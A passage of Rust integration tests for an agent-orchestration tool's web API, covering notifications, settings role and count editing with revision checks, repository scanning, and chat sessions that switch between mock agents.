13996 let task = crate::queue::Task::new(
13997 "work".into(),
13998 "work".into(),
13999 fx.home.path().into(),
14000 crate::queue::Source::Human,
14001 );
14002 let inquiry = outbox
14003 .file(&task, None, "test".into(), "入力待ち", "詳細")
14004 .unwrap();
14005 let root = fx.home.path().join("notifications/task-inquiries");
14006 std::fs::write(root.join("broken.json"), "{").unwrap();
14007 let mut unsupported = inquiry.clone();
14008 unsupported.id = "unsupported".into();
14009 unsupported.schema = 99;
14010 std::fs::write(
14011 root.join("unsupported.json"),
14012 serde_json::to_vec(&unsupported).unwrap(),
14013 )
14014 .unwrap();
14015 let before = std::fs::read(root.join(format!("{}.json", inquiry.id))).unwrap();
14016 for _ in 0..2 {
14017 let response = fx.get("/api/decisions").await;
14018 assert_eq!(response.status, 200, "{}", response.body);
14019 let listed = response.json();
14020 assert_eq!(listed["unreadable"], 2);
14021 assert_eq!(listed["items"].as_array().unwrap().len(), 1);
14022 assert_eq!(listed["items"][0]["id"], inquiry.id);
14023 assert_eq!(listed["items"][0]["decision"]["status"], "awaiting_owner");
14024 }
14025 assert_eq!(
14026 before,
14027 std::fs::read(root.join(format!("{}.json", inquiry.id))).unwrap()
14028 );
14029 assert!(outbox.list().is_err());
14030 std::fs::remove_file(root.join("broken.json")).unwrap();
14031 std::fs::remove_file(root.join("unsupported.json")).unwrap();
14032 assert_eq!(fx.get("/api/decisions").await.json()["unreadable"], 0);
14033 }
14034
14035 #[tokio::test]
14036 async fn decisions_list_exposes_migration_errors_without_acknowledging_them() {
14037 let fx = Fixture::start().await;
14038 let root = fx.home.path().join("notifications/task-chat-migration-v1");
14039 std::fs::create_dir_all(&root).unwrap();
14040 let journal = serde_json::json!({
14041 "schema": 1, "pending": ["saved-inquiry"],
14042 "errors": {"saved-inquiry": "Source is unreadable; no action executed"}
14043 });
14044 let bytes = serde_json::to_vec(&journal).unwrap();
14045 std::fs::write(root.join("state.json"), &bytes).unwrap();
14046 for _ in 0..2 {
14047 let response = fx.get("/api/decisions").await;
14048 assert_eq!(response.status, 200);
14049 let listed = response.json();
14050 assert_eq!(listed["migration_errors"][0]["id"], "saved-inquiry");
14051 assert!(listed["items"].as_array().unwrap().is_empty());
14052 assert_eq!(std::fs::read(root.join("state.json")).unwrap(), bytes);
14053 }
14054 std::fs::write(root.join("state.json"), b"{").unwrap();
14056 let response = fx.get("/api/decisions").await;
14057 assert_eq!(response.status, 200);
14058 assert_eq!(response.json()["migration_errors"][0]["id"], "migration");
14059 }
14060
14061 #[tokio::test]
14062 async fn notifications_list_read_dismiss_and_health_agree() {
14063 let fx = Fixture::start().await;
14064 let store = Notices::at(fx.home.path().join("notifications"));
14065 assert_eq!(fx.get("/api/notifications").await.json()["unread"], 0);
14066 let rev0 = fx.get("/api/health").await.json()["notifications_rev"].clone();
14067
14068 let a = store.raise(Notice::warn("task:1", "held")).unwrap();
14069 let b = store.raise(Notice::error("run:2", "blocked")).unwrap();
14070
14071 store
14072 .raise(Notice::warn("deputy:deleted-question", "obsolete warning"))
14073 .unwrap();
14074 let health = fx.get("/api/health").await.json();
14075 assert_eq!(health["notifications_unread"], 2);
14076 assert_ne!(
14077 health["notifications_rev"], rev0,
14078 "the badge must move live"
14079 );
14080
14081 let listed = fx.get("/api/notifications").await.json();
14082 assert_eq!(listed["unread"], 2);
14083 assert_eq!(listed["items"].as_array().unwrap().len(), 2);
14084 assert_eq!(listed["items"][0]["severity"], "error", "newest first");
14085
14086 let read = fx
14087 .post(&format!("/api/notifications/{}/read", a.id), None)
14088 .await;
14089 assert_eq!(read.status, 200, "{}", read.body);
14090 assert_eq!(fx.get("/api/notifications").await.json()["unread"], 1);
14091
14092 let gone = fx
14093 .post(&format!("/api/notifications/{}/dismiss", b.id), None)
14094 .await;
14095 assert_eq!(gone.status, 200, "{}", gone.body);
14096 let listed = fx.get("/api/notifications").await.json();
14097 assert_eq!(listed["items"].as_array().unwrap().len(), 1);
14098 assert_eq!(listed["unread"], 0);
14099
14100 store.raise(Notice::info("x", "again")).unwrap();
14101 let all = fx.post("/api/notifications/read-all", None).await;
14102 assert_eq!(all.status, 200, "{}", all.body);
14103 assert_eq!(all.json()["marked"], 1);
14104 assert_eq!(
14105 fx.get("/api/health").await.json()["notifications_unread"],
14106 0
14107 );
14108
14109 let missing = fx.post("/api/notifications/nope/read", None).await;
14110 assert_eq!(missing.status, 404, "{}", missing.body);
14111 assert!(missing.json()["error"].is_string());
14112 }
14113
14114 #[tokio::test]
14121 async fn a_task_cannot_be_filed_over_the_phone_directly() {
14122 let f = Fixture::start().await;
14123
14124 let res = f
14125 .post(
14126 "/api/queue",
14127 Some(r#"{"instruction":"Add a --json flag to magi list"}"#),
14128 )
14129 .await;
14130
14131 assert_eq!(
14132 res.status, 405,
14133 "POST /api/queue must not be a route: {}",
14134 res.body
14135 );
14136 assert!(
14137 f.queue().list().is_empty(),
14138 "a task filed by a route that does not exist must not reach the disk"
14139 );
14140 assert_eq!(f.get("/api/queue").await.status, 200);
14143 }
14144
14145 fn make_checkout(root: &FsPath, host: &str, owner: &str, repo: &str) {
14147 std::fs::create_dir_all(root.join(host).join(owner).join(repo).join(".git"))
14148 .expect("checkout dir");
14149 }
14150
14151 const SETTINGS_AGENTS: &str = "[[agents]]\nid = \"a\"\nkind = \"command\"\ncommand = [\"true\"]\n\n[[agents]]\nid = \"b\"\nkind = \"command\"\ncommand = [\"true\"]\n";
14153
14154 fn settings_dirs(repo_toml: &str, machine_toml: Option<&str>) -> (TempDir, PathBuf, PathBuf) {
14155 let tmp = TempDir::new().expect("tempdir");
14156 let repo = tmp.path().join("repo");
14157 std::fs::create_dir_all(&repo).expect("repo dir");
14158 std::fs::write(repo.join("magi.toml"), repo_toml).expect("repo toml");
14159 let machine = tmp.path().join("cfg").join("magi").join("config.toml");
14160 if let Some(text) = machine_toml {
14161 std::fs::create_dir_all(machine.parent().expect("parent")).expect("cfg dir");
14162 std::fs::write(&machine, text).expect("machine toml");
14163 }
14164 (tmp, repo, machine)
14165 }
14166
14167 async fn settings_checkout(path: &FsPath, text: &str) {
14168 std::fs::create_dir_all(path).unwrap();
14169 std::fs::write(path.join("magi.toml"), text).unwrap();
14170 for args in [
14171 vec!["init", "-b", "main"],
14172 vec!["add", "magi.toml"],
14173 vec![
14174 "-c",
14175 "user.name=Test",
14176 "-c",
14177 "user.email=test@example.invalid",
14178 "commit",
14179 "-m",
14180 "fixture",
14181 ],
14182 vec!["update-ref", "refs/remotes/origin/main", "HEAD"],
14183 vec![
14184 "symbolic-ref",
14185 "refs/remotes/origin/HEAD",
14186 "refs/remotes/origin/main",
14187 ],
14188 ] {
14189 crate::git::git(path, &args).await.unwrap();
14190 }
14191 }
14192
14193 #[tokio::test]
14194 async fn settings_context_handlers_validate_and_save_without_a_socket() {
14195 let (tmp, repo, machine) =
14196 settings_dirs("[roles]\nreviewers = [\"a\"]\n", Some(SETTINGS_AGENTS));
14197 let root = tmp.path().join("roots");
14198 let selected = root.join("host/owner/selected");
14199 settings_checkout(
14200 &selected,
14201 "[roles]\nconductor = \"b\"\n[graph]\njudges = 2\n",
14202 )
14203 .await;
14204 std::fs::write(&machine, format!("{SETTINGS_AGENTS}\n[roles]\nconductor = \"a\"\n[graph]\njudges = 1\n[repos]\nroots = [{}]\nscan_ttl = 3600\n", toml::Value::String(root.display().to_string()))).unwrap();
14205 let before = std::fs::read(&machine).unwrap();
14206 let ui = Arc::new(
14207 Ui::new(
14208 Queue::at(tmp.path().join("queue")),
14209 Questions::at(tmp.path().join("questions")),
14210 Talks::at(tmp.path().join("talks")),
14211 tmp.path().join("runs"),
14212 tmp.path().to_path_buf(),
14213 repo.clone(),
14214 )
14215 .with_machine_config(Some(machine.clone())),
14216 );
14217 let query = || {
14218 Query(SettingsQuery {
14219 repo: Some(selected.clone()),
14220 })
14221 };
14222 let Json(v) = settings_get(State(ui.clone()), query()).await.unwrap();
14223 assert!(v.error.is_none(), "{:?}", v.error);
14224 let conductor = v.roles.iter().find(|r| r.key == "conductor").unwrap();
14225 assert_eq!(conductor.source, "repo");
14226 assert_eq!(
14227 conductor.machine_value,
14228 Some(toml::Value::String("a".into()))
14229 );
14230 assert!(!conductor.editable);
14231 let judges = v.roles.iter().find(|r| r.key == "judges").unwrap();
14232 assert_eq!(
14233 judges.count.as_ref().unwrap().machine_value,
14234 Some(toml::Value::Integer(1))
14235 );
14236 assert!(
14237 !v.roles
14238 .iter()
14239 .find(|r| r.key == "reviewers")
14240 .unwrap()
14241 .editable
14242 );
14243 let unknown = || {
14244 Query(SettingsQuery {
14245 repo: Some(tmp.path().to_path_buf()),
14246 })
14247 };
14248 assert_eq!(
14249 settings_get(State(ui.clone()), unknown())
14250 .await
14251 .unwrap_err()
14252 .status,
14253 StatusCode::UNPROCESSABLE_ENTITY
14254 );
14255 let body = || {
14256 Ok(Json(RolesBody {
14257 revision: v.revision.clone(),
14258 roles: std::collections::BTreeMap::from([("judges".into(), vec!["b".into()])]),
14259 counts: Default::default(),
14260 }))
14261 };
14262 assert_eq!(
14263 settings_put_roles(State(ui.clone()), unknown(), body())
14264 .await
14265 .unwrap_err()
14266 .status,
14267 StatusCode::UNPROCESSABLE_ENTITY
14268 );
14269 assert_eq!(std::fs::read(&machine).unwrap(), before);
14270 let Json(saved) = settings_put_roles(State(ui.clone()), query(), body())
14271 .await
14272 .unwrap();
14273 assert_eq!(
14274 saved.repo,
14275 selected.canonicalize().unwrap().display().to_string()
14276 );
14277 assert!(settings::repository_config(&repo, Some(&machine)).is_ok());
14278 assert!(settings::repository_config(&selected, Some(&machine)).is_ok());
14279 let fresh = root.join("host/owner/fresh");
14281 settings_checkout(&fresh, "[graph]\nadvisors = 0\n").await;
14282 let Json(fresh_view) = settings_get(State(ui), Query(SettingsQuery { repo: Some(fresh) }))
14283 .await
14284 .unwrap();
14285 assert_eq!(fresh_view.repositories.len(), 3);
14286 }
14287
14288 #[tokio::test]
14289 async fn settings_context_selector_validates_paths_and_preserves_all_checkouts() {
14290 let (tmp, repo, machine) = settings_dirs(
14291 "[roles]\nreviewers = [\"a\"]\n",
14292 Some(&format!("{SETTINGS_AGENTS}\n[graph]\njudges = 1\n")),
14293 );
14294 let root = tmp.path().join("roots");
14295 let selected = root.join("host/owner/selected");
14296 settings_checkout(
14297 &selected,
14298 "[roles]\nadvisors = [\"b\"]\n[graph]\njudges = 2\n",
14299 )
14300 .await;
14301 let broken = root.join("host/owner/broken");
14302 settings_checkout(&broken, "[roles\nbroken").await;
14303 let machine_text = format!(
14304 "{SETTINGS_AGENTS}\n[graph]\njudges = 1\n[repos]\nroots = [{}]\n",
14305 toml::Value::String(root.display().to_string())
14306 );
14307 std::fs::write(&machine, &machine_text).unwrap();
14308 let originals: Vec<_> = [&repo, &selected, &broken]
14309 .iter()
14310 .map(|p| std::fs::read(p.join("magi.toml")).unwrap())
14311 .collect();
14312 let f = Fixture::with_repo_and_machine(repo.clone(), machine.clone()).await;
14313 let default = f.get("/api/settings").await.json();
14314 assert_eq!(
14315 default["repo"],
14316 repo.canonicalize().unwrap().display().to_string()
14317 );
14318 assert_eq!(default["repositories"].as_array().unwrap().len(), 3);
14319 let query = format!("?repo={}", selected.display());
14320 let res = f.get(&format!("/api/settings{query}")).await;
14321 assert_eq!(res.status, 200, "{}", res.body);
14322 let v = res.json();
14323 assert!(v["error"].is_null(), "{v}");
14324 assert_eq!(v["repositories"], default["repositories"]);
14325 let role = |key: &str| {
14326 v["roles"]
14327 .as_array()
14328 .unwrap()
14329 .iter()
14330 .find(|r| r["key"] == key)
14331 .unwrap()
14332 };
14333 assert_eq!(role("advisors")["configured"], serde_json::json!(["b"]));
14334 assert_eq!(role("advisors")["source"], "repo");
14335 assert_eq!(role("advisors")["editable"], false);
14336 assert!(role("advisors")["machine_value"].is_null());
14337 assert_eq!(role("judges")["count"]["value"], 2);
14338 assert_eq!(role("judges")["count"]["machine_value"], 1);
14339 assert_eq!(role("judges")["count"]["source"], "repo");
14340 let source = role("judges")["count"]["source_path"].as_str().unwrap();
14341 assert!(
14342 source.contains("origin/main") && !source.contains("magi/config/"),
14343 "{source}"
14344 );
14345 assert_eq!(
14346 role("reviewers")["editable"],
14347 false,
14348 "default context outside roots must protect its declarations"
14349 );
14350 let body =
14351 serde_json::json!({"revision": v["revision"], "roles": {"judges": ["b"]}}).to_string();
14352 let unknown = format!("?repo={}", tmp.path().display());
14353 assert_eq!(f.get(&format!("/api/settings{unknown}")).await.status, 422);
14354 assert_eq!(
14355 f.put(&format!("/api/settings/roles{unknown}"), &body)
14356 .await
14357 .status,
14358 422
14359 );
14360 assert_eq!(std::fs::read_to_string(&machine).unwrap(), machine_text);
14361 let refuse = serde_json::json!({"revision": v["revision"], "roles": {"reviewers": ["b"]}})
14362 .to_string();
14363 assert_eq!(
14364 f.put(&format!("/api/settings/roles{query}"), &refuse)
14365 .await
14366 .status,
14367 422
14368 );
14369 let saved = f.put(&format!("/api/settings/roles{query}"), &body).await;
14370 assert_eq!(saved.status, 200, "{}", saved.body);
14371 assert_eq!(saved.json()["repo"], v["repo"]);
14372 assert!(settings::repository_config(&repo, Some(&machine)).is_ok());
14373 assert!(settings::repository_config(&selected, Some(&machine)).is_ok());
14374 for (p, before) in [&repo, &selected, &broken].iter().zip(originals) {
14375 assert_eq!(std::fs::read(p.join("magi.toml")).unwrap(), before);
14376 }
14377 let error = f
14378 .get(&format!("/api/settings?repo={}", broken.display()))
14379 .await;
14380 assert_eq!(error.status, 200);
14381 assert!(error.json()["error"]["message"].is_string());
14382 assert_eq!(error.json()["repositories"], default["repositories"]);
14383 }
14384
14385 #[tokio::test]
14386 async fn settings_get_reports_sources_and_the_advisors_fallback() {
14387 let (_tmp, repo, machine) =
14388 settings_dirs(SETTINGS_AGENTS, Some("[roles]\njudges = [\"b\"]\n"));
14389 let f = Fixture::with_repo_and_machine(repo, machine).await;
14390 let res = f.get("/api/settings").await;
14391 assert_eq!(res.status, 200, "{}", res.body);
14392 let v = res.json();
14393 assert!(v["error"].is_null(), "{v}");
14394 let role = |k: &str| {
14395 v["roles"]
14396 .as_array()
14397 .and_then(|r| r.iter().find(|x| x["key"] == k))
14398 .cloned()
14399 .unwrap_or_else(|| panic!("no role {k}: {v}"))
14400 };
14401 assert_eq!(role("judges")["source"], "machine");
14402 assert_eq!(role("judges")["editable"], true);
14403 assert_eq!(role("implementers")["source"], "default");
14404 let adv = role("advisors");
14405 assert_eq!(adv["fallback"], "judges");
14406 assert!(
14407 adv["seats"]
14408 .as_array()
14409 .is_some_and(|s| s.iter().all(|x| x == "b")),
14410 "{adv}"
14411 );
14412 assert_eq!(v["agents"].as_array().map(Vec::len), Some(2));
14413 assert_eq!(v["agents"][0]["source"], "repo");
14414 }
14415
14416 #[tokio::test]
14417 async fn settings_get_reports_a_config_that_does_not_parse() {
14418 let (_tmp, repo, machine) = settings_dirs("[roles\nbroken", None);
14419 let f = Fixture::with_repo_and_machine(repo, machine).await;
14420 let res = f.get("/api/settings").await;
14421 assert_eq!(res.status, 200, "{}", res.body);
14422 let v = res.json();
14423 assert!(v["error"]["message"].is_string(), "{v}");
14424 assert!(
14425 v["error"]["path"]
14426 .as_str()
14427 .is_some_and(|p| p.ends_with("magi.toml")),
14428 "{v}"
14429 );
14430 assert_eq!(v["roles"].as_array().map(Vec::len), Some(0));
14431 }
14432
14433 #[tokio::test]
14434 async fn settings_put_saves_to_the_machine_file_and_keeps_comments() {
14435 let (_tmp, repo, machine) = settings_dirs(
14436 SETTINGS_AGENTS,
14437 Some("# mine\n[roles]\n# seats\njudges = [\"a\"] # note\n\n[vars]\nx = 1\n"),
14438 );
14439 let repo_before = std::fs::read(repo.join("magi.toml")).expect("read");
14440 let f = Fixture::with_repo_and_machine(repo.clone(), machine.clone()).await;
14441 let rev = f.get("/api/settings").await.json()["revision"]
14442 .as_str()
14443 .expect("revision")
14444 .to_owned();
14445 let body = serde_json::json!({
14446 "revision": rev,
14447 "roles": { "judges": ["b", "a"], "reviewers": ["a"] }
14448 })
14449 .to_string();
14450 let res = f.put("/api/settings/roles", &body).await;
14451 assert_eq!(res.status, 200, "{}", res.body);
14452 let text = std::fs::read_to_string(&machine).expect("machine");
14453 assert_eq!(
14454 text,
14455 "# mine\n[roles]\n# seats\njudges = [\"b\", \"a\"] # note\nreviewers = [\"a\"]\n\n[vars]\nx = 1\n"
14456 );
14457 assert_eq!(
14458 std::fs::read(repo.join("magi.toml")).expect("read"),
14459 repo_before
14460 );
14461 let again = f.get("/api/settings").await.json();
14462 let judges = again["roles"]
14463 .as_array()
14464 .expect("roles")
14465 .iter()
14466 .find(|r| r["key"] == "judges")
14467 .expect("judges")
14468 .clone();
14469 assert_eq!(judges["configured"], serde_json::json!(["b", "a"]));
14470 let stale = f.put("/api/settings/roles", &body).await;
14472 assert_eq!(stale.status, 409, "{}", stale.body);
14473 }
14474
14475 #[tokio::test]
14476 async fn settings_counts_are_reported_and_saved() {
14477 let (_tmp, repo, machine) = settings_dirs(
14478 &format!("{SETTINGS_AGENTS}\n[graph]\nreviewers = 2\n"),
14479 Some("# mine\n[graph]\ncandidates = 2 # seats\n"),
14480 );
14481 let f = Fixture::with_repo_and_machine(repo, machine.clone()).await;
14482 let v = f.get("/api/settings").await.json();
14483 let count = |v: &serde_json::Value, k: &str| {
14484 v["roles"]
14485 .as_array()
14486 .and_then(|r| r.iter().find(|x| x["key"] == k))
14487 .map(|x| x["count"].clone())
14488 .unwrap_or_else(|| panic!("no role {k}: {v}"))
14489 };
14490 let imp = count(&v, "implementers");
14491 assert_eq!(imp["value"], 2);
14492 assert_eq!(imp["source"], "machine");
14493 assert_eq!(imp["file_key"], "candidates");
14494 assert_eq!(imp["roster_len"], 2);
14495 assert_eq!(imp["backups"], 0);
14496 assert_eq!(count(&v, "judges")["source"], "default");
14497 assert_eq!(count(&v, "advisors")["min"], 0);
14498 assert_eq!(count(&v, "reviewers")["editable"], false);
14499 assert!(
14500 count(&v, "reviewers")["locked_reason"]
14501 .as_str()
14502 .is_some_and(|m| m.contains("graph.reviewers"))
14503 );
14504 assert!(count(&v, "fixer").is_null());
14505 let rev = v["revision"].as_str().expect("revision").to_owned();
14506 let body = serde_json::json!({
14507 "revision": rev,
14508 "roles": { "judges": ["b"] },
14509 "counts": { "implementers": 1, "advisors": 0 }
14510 })
14511 .to_string();
14512 let res = f.put("/api/settings/roles", &body).await;
14513 assert_eq!(res.status, 200, "{}", res.body);
14514 let text = std::fs::read_to_string(&machine).expect("machine");
14515 assert_eq!(
14516 text,
14517 "# mine\n[graph]\ncandidates = 1 # seats\nadvisors = 0\n\n[roles]\njudges = [\"b\"]\n"
14518 );
14519 let after = f.get("/api/settings").await.json();
14520 assert_eq!(count(&after, "implementers")["value"], 1);
14521 assert_eq!(count(&after, "implementers")["backups"], 1);
14522 assert_eq!(count(&after, "advisors")["value"], 0);
14523 let before = std::fs::read_to_string(&machine).expect("machine");
14524 let rev = after["revision"].as_str().expect("revision").to_owned();
14525 for counts in [
14526 serde_json::json!({ "judges": 0 }),
14527 serde_json::json!({ "judges": "x" }),
14528 serde_json::json!({ "judges": 2.5 }),
14529 serde_json::json!({ "judges": -1 }),
14530 serde_json::json!({ "reviewers": 3 }),
14531 serde_json::json!({ "bogus": 3 }),
14532 ] {
14533 let body = serde_json::json!({ "revision": rev, "counts": counts }).to_string();
14534 let res = f.put("/api/settings/roles", &body).await;
14535 assert_eq!(res.status, 422, "{counts}: {}", res.body);
14536 assert_eq!(std::fs::read_to_string(&machine).expect("machine"), before);
14537 }
14538 }
14539
14540 #[tokio::test]
14541 async fn settings_put_refuses_without_touching_the_file() {
14542 let machine_text = "# mine\n[roles]\njudges = [\"a\"]\n";
14543 let (_tmp, repo, machine) = settings_dirs(
14544 &format!("{SETTINGS_AGENTS}\n[roles]\nreviewers = [\"a\"]\n"),
14545 Some(machine_text),
14546 );
14547 let f = Fixture::with_repo_and_machine(repo, machine.clone()).await;
14548 let rev = f.get("/api/settings").await.json()["revision"]
14549 .as_str()
14550 .expect("revision")
14551 .to_owned();
14552 for roles in [
14553 serde_json::json!({ "judges": ["nope"] }),
14554 serde_json::json!({ "reviewers": ["b"] }),
14555 serde_json::json!({ "bogus": ["a"] }),
14556 ] {
14557 let body = serde_json::json!({ "revision": rev, "roles": roles }).to_string();
14558 let res = f.put("/api/settings/roles", &body).await;
14559 assert_eq!(res.status, 422, "{roles}: {}", res.body);
14560 assert!(res.json()["error"].as_str().is_some_and(|m| !m.is_empty()));
14561 assert_eq!(
14562 std::fs::read_to_string(&machine).expect("machine"),
14563 machine_text
14564 );
14565 }
14566 }
14567
14568 #[tokio::test]
14569 async fn repos_list_returns_name_and_path_for_every_configured_root() {
14570 let tmp = TempDir::new().expect("tempdir");
14571 let repo = tmp.path().join("repo");
14572 std::fs::create_dir_all(&repo).expect("repo dir");
14573 let root = tmp.path().join("root");
14574 make_checkout(&root, "github.com", "yukimemi", "magi");
14575 std::fs::write(
14576 repo.join("magi.toml"),
14577 format!(
14578 "[repos]\nroots = [{:?}]\n",
14579 root.to_string_lossy().into_owned()
14580 ),
14581 )
14582 .expect("write magi.toml");
14583
14584 let f = Fixture::with_repo(repo).await;
14585 let res = f.get("/api/repos").await;
14586 assert_eq!(res.status, 200, "{}", res.body);
14587 let list = res.json();
14588 let repos = list.as_array().expect("an array");
14589 assert_eq!(repos.len(), 1);
14590 assert_eq!(repos[0]["name"], "yukimemi/magi");
14591 assert!(
14592 repos[0]["path"]
14593 .as_str()
14594 .is_some_and(|p| p.ends_with("magi") || p.contains("magi")),
14595 "{list}"
14596 );
14597 }
14598
14599 #[tokio::test]
14600 async fn repos_list_only_rescans_within_the_ttl_when_asked_to() {
14601 let tmp = TempDir::new().expect("tempdir");
14602 let repo = tmp.path().join("repo");
14603 std::fs::create_dir_all(&repo).expect("repo dir");
14604 let root = tmp.path().join("root");
14605 make_checkout(&root, "github.com", "yukimemi", "magi");
14606 std::fs::write(
14607 repo.join("magi.toml"),
14608 format!(
14609 "[repos]\nroots = [{:?}]\nscan_ttl = 3600\n",
14610 root.to_string_lossy().into_owned()
14611 ),
14612 )
14613 .expect("write magi.toml");
14614
14615 let f = Fixture::with_repo(repo).await;
14616 let first = f.get("/api/repos").await;
14617 assert_eq!(first.json().as_array().map(Vec::len), Some(1));
14618
14619 make_checkout(&root, "github.com", "yukimemi", "rvpm");
14622 let second = f.get("/api/repos").await;
14623 assert_eq!(
14624 second.json().as_array().map(Vec::len),
14625 Some(1),
14626 "a fresh cache must not rescan inside the TTL"
14627 );
14628
14629 let refreshed = f.get("/api/repos?refresh=1").await;
14630 assert_eq!(
14631 refreshed.json().as_array().map(Vec::len),
14632 Some(2),
14633 "an explicit refresh must rescan even inside the TTL"
14634 );
14635 }
14636
14637 const MOCK_AGENT_TOML: &str = "[[agents]]\nid = \"mock\"\nkind = \"command\"\ncommand = [\"sh\", \"-c\", \"cat >/dev/null && printf ok\"]\n";
14643
14644 async fn talk_fixture() -> (TempDir, PathBuf, Fixture) {
14648 let tmp = TempDir::new().expect("tempdir");
14649 let repo = tmp.path().join("repo");
14650 std::fs::create_dir_all(&repo).expect("repo dir");
14651 std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
14652 let f = Fixture::with_repo(repo.clone()).await;
14653 (tmp, repo, f)
14654 }
14655
14656 #[tokio::test]
14657 async fn posting_a_talk_with_remembered_choices_is_soft() {
14658 let (_tmp, _repo, f) = talk_fixture().await;
14659
14660 let good = f
14661 .post("/api/talks", Some(r#"{"persona":"rei","implementers":1}"#))
14662 .await;
14663 assert_eq!(good.status, 201, "{}", good.body);
14664 assert_eq!(good.json()["persona"], "rei");
14665
14666 let stale = f
14668 .post(
14669 "/api/talks",
14670 Some(r#"{"preferred_agent":"gone","persona":"nobody","implementers":7}"#),
14671 )
14672 .await;
14673 assert_eq!(stale.status, 201, "{}", stale.body);
14674 let v = stale.json();
14675 assert_eq!(v["implementers"], 1);
14676 assert_ne!(v["persona"], "nobody");
14677 let typed = f
14678 .post(
14679 "/api/talks",
14680 Some(r#"{"preferred_agent":3,"persona":[],"implementers":"x"}"#),
14681 )
14682 .await;
14683 assert_eq!(typed.status, 201, "{}", typed.body);
14684
14685 let strict = f.post("/api/talks", Some(r#"{"agent":"gone"}"#)).await;
14687 assert!(
14688 !strict.status.to_string().starts_with('2'),
14689 "{}",
14690 strict.body
14691 );
14692 }
14693
14694 #[tokio::test]
14695 async fn posting_a_talk_with_no_body_opens_one_and_takes_no_turn() {
14696 let (_tmp, _repo, f) = talk_fixture().await;
14697
14698 let opened = f.post("/api/talks", None).await;
14701 assert_eq!(opened.status, 201, "{}", opened.body);
14702 let body = opened.json();
14703 assert_eq!(body["status"], "open");
14704 assert_eq!(
14705 body["turns"].as_array().unwrap().len(),
14706 0,
14707 "opening takes no agent turn: there is nothing yet to answer"
14708 );
14709
14710 let also_opened = f.post("/api/talks", Some("{}")).await;
14712 assert_eq!(also_opened.status, 201, "{}", also_opened.body);
14713
14714 let listed = f.get("/api/talks").await.json();
14715 assert_eq!(listed.as_array().unwrap().len(), 2);
14716 }
14717
14718 #[tokio::test]
14719 async fn talk_agent_switches_the_roster_agent_and_refuses_unknown_busy_or_closed() {
14720 let tmp = TempDir::new().expect("tempdir");
14721 let repo = tmp.path().join("repo");
14722 std::fs::create_dir_all(&repo).expect("repo dir");
14723 let second = MOCK_AGENT_TOML.replace("\"mock\"", "\"second\"");
14724 std::fs::write(
14725 repo.join("magi.toml"),
14726 format!("{MOCK_AGENT_TOML}\n{second}"),
14727 )
14728 .expect("write magi.toml");
14729 let home = TempDir::new().expect("temp home");
14730 let talks = Talks::at(home.path().join("talks"));
14731 let ui = Arc::new(
14732 Ui::new(
14733 Queue::at(home.path().join("queue")),
14734 Questions::at(home.path().join("questions")),
14735 talks.clone(),
14736 home.path().join("runs"),
14737 home.path().to_path_buf(),
14738 repo.clone(),
14739 )
14740 .with_worktrees_root(home.path().join("wt")),
14741 );
14742 let cfg = config_for(&repo).await.expect("discover config");
14743 let talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
14744 let id = talk.id.clone();
14745 let call = |agent: &str| {
14746 talk_agent(
14747 State(Arc::clone(&ui)),
14748 Path(id.clone()),
14749 Json(TalkAgent {
14750 agent: agent.to_owned(),
14751 }),
14752 )
14753 };
14754
14755 let unknown = call("nobody").await.expect_err("unknown agent");
14756 assert_eq!(
14757 unknown.status,
14758 StatusCode::BAD_REQUEST,
14759 "{}",
14760 unknown.message
14761 );
14762
14763 {
14764 let guard = ui.begin_talk_turn(&id).expect("claim").expect("free");
14767 let busy = call("second").await.expect_err("busy talk");
14768 assert_eq!(busy.status, StatusCode::CONFLICT, "{}", busy.message);
14769 assert!(
14770 busy.message.contains("a talk turn is running"),
14771 "{}",
14772 busy.message
14773 );
14774 drop(guard);
14775 }
14776 assert_eq!(talks.get(&id).expect("reload").agent, "mock");
14777
14778 let Json(view) = call("second").await.expect("switch");
14779 assert_eq!(view.talk.agent, "second");
14780 assert_eq!(view.talk.turns.len(), 1, "the change is noted");
14781 let saved = talks.get(&id).expect("reload");
14782 assert_eq!(saved.agent, "second");
14783 assert_eq!(saved.turns.len(), 1);
14784 assert!(!view.thinking);
14785 assert!(!ui.is_thinking(&id), "idle response must release the claim");
14786 for agent in ["mock", "second"] {
14787 let Json(view) = call(agent).await.expect("immediate consecutive change");
14788 assert_eq!(view.talk.agent, agent);
14789 assert!(!view.thinking);
14790 assert!(!ui.is_thinking(&id));
14791 }
14792
14793 let detail = talk_detail(State(Arc::clone(&ui)), Path(id.clone()))
14794 .await
14795 .expect("detail");
14796 let roster: Vec<&str> = detail.0.roster.iter().map(|r| r.id.as_str()).collect();
14797 assert_eq!(roster, ["mock", "second"]);
14798
14799 let mut closed = talks.get(&id).expect("reload");
14800 talk::close(&mut closed, &talks).expect("close");
14801 let refused = call("mock").await.expect_err("closed talk");
14802 assert_eq!(refused.status, StatusCode::CONFLICT, "{}", refused.message);
14803 assert!(
14804 refused.message.contains("takes no more turns"),
14805 "{}",
14806 refused.message
14807 );
14808 }
14809
14810 #[tokio::test]
14811 async fn talk_implementers_validates_and_refuses_busy_or_closed() {
14812 let tmp = TempDir::new().expect("tempdir");
14813 let repo = tmp.path().join("repo");
14814 std::fs::create_dir_all(&repo).expect("repo dir");
14815 std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
14816 let home = TempDir::new().expect("temp home");
14817 let talks = Talks::at(home.path().join("talks"));
14818 let ui = Arc::new(
14819 Ui::new(
14820 Queue::at(home.path().join("queue")),
14821 Questions::at(home.path().join("questions")),
14822 talks.clone(),
14823 home.path().join("runs"),
14824 home.path().to_path_buf(),
14825 repo.clone(),
14826 )
14827 .with_worktrees_root(home.path().join("wt")),
14828 );
14829 let cfg = config_for(&repo).await.expect("discover config");
14830 let talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
14831 let id = talk.id.clone();
14832 let call = |n: u8| {
14833 talk_implementers(
14834 State(Arc::clone(&ui)),
14835 Path(id.clone()),
14836 Json(TalkImplementers { implementers: n }),
14837 )
14838 };
14839
14840 for bad in [0u8, 4] {
14841 let e = call(bad).await.expect_err("out of range");
14842 assert_eq!(e.status, StatusCode::BAD_REQUEST, "{}", e.message);
14843 }
14844 assert_eq!(talks.get(&id).expect("reload").implementers, 1);
14845
14846 {
14847 let guard = ui.begin_talk_turn(&id).expect("claim").expect("free");
14850 let busy = call(2).await.expect_err("busy talk");
14851 assert_eq!(busy.status, StatusCode::CONFLICT, "{}", busy.message);
14852 assert!(
14853 busy.message.contains("a talk turn is running"),
14854 "{}",
